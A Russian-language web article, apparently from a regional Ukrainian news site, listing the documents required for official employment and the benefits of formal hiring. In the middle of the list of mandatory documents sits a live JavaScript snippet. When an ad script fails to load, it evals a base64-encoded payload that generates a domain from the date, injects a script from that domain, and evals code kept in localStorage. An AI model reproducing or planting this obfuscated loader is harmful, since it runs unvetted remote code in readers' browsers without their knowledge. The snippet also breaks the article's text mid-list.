Современная работа отдела кадров выходит на новый уровень. Применяются специальные системы автоматической обработки информации, позволяющие более удобно управлять персоналом, например, HURMA. Она обладает удобным интерфейсом, успешно интегрируется как в небольшие, так и крупные компании, значительно облегчает труд спецотдела по кадрам, снимает нагрузку. До сих пор официальное трудоустройство является приоритетным при поиске работы.
Преимущества официального оформления
Каждый новоиспеченный специалист мечтает работать в своей сфере, иметь официальную работу, ведь она имеет следующие плюсы:
Зарплата выдается полностью, согласно договору.В случае неправомерных действий работодателя, его можно привлечь к ответственности.Прием на работу и правила увольнения оговариваются в договоре, который имеет юридическую силу.Работник раз в год может претендовать на оплачиваемый отдых.Оплачивается больничный.Идут отчисления в пенсионный фонд, которые будут учитываться при расчете пенсии.
Рекрутинговые агентства и государственная служба занятости работают для того, чтобы повысить шансы соискателей на официальное трудоустройство.
Особенности подачи документов
Оформление на работу происходит с участием важных документов. Существуют различные категории претендентов на рабочие места. В зависимости от чего могут быть нюансы при подаче документов. Например:
Основной пакет документов
Официально при приеме на работу оформляются следующие документы, которые являются обязательными для предъявления: var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
удостоверение личности или паспортные данные,трудовой договор,фотографии,регистрация по месту проживания,заявление о желании трудоустройства.
Независимо от того, к какой категории населения относится соискатель, данный список документов не меняется.
Дополнительные документы
Данный вид документации предъявляется только по запросу работодателя, в частности:
свидетельство о рождении детей,документ, подтверждающий семейный статус,справка от психиатра, нарколога, об отсутствии пребывания в местах лишения свободы,страховка,флюорография,медицинская книжка.документ о прохождении воинской службы,фотографии нужного формата,декларация о доходах,медицинское заключение о состоянии здоровья.
Показывать данную документацию можно в отдельных случаях. Иногда диплом или любое свидетельство об окончании учебного заведения тоже входит в традиционный пакет документов.
Если у человека присутствует инвалидность или он не достиг совершеннолетия, то правила приема на работу особо не меняются, только добавляются документы об инвалидности, если необходимо их предъявить. Несовершеннолетним потребуется предоставить разрешение от взрослых родственников о том, что они не против трудовой занятости ребенка.
Официальный прием на работу оформляется документально. Вся информация вносится в базу данных, которая не разглашается и применяется строго в рамках законодательства. (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/kakie-dokumenty-nuzhny-dlya-ofitsialnogo-priema-na-rabotu/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
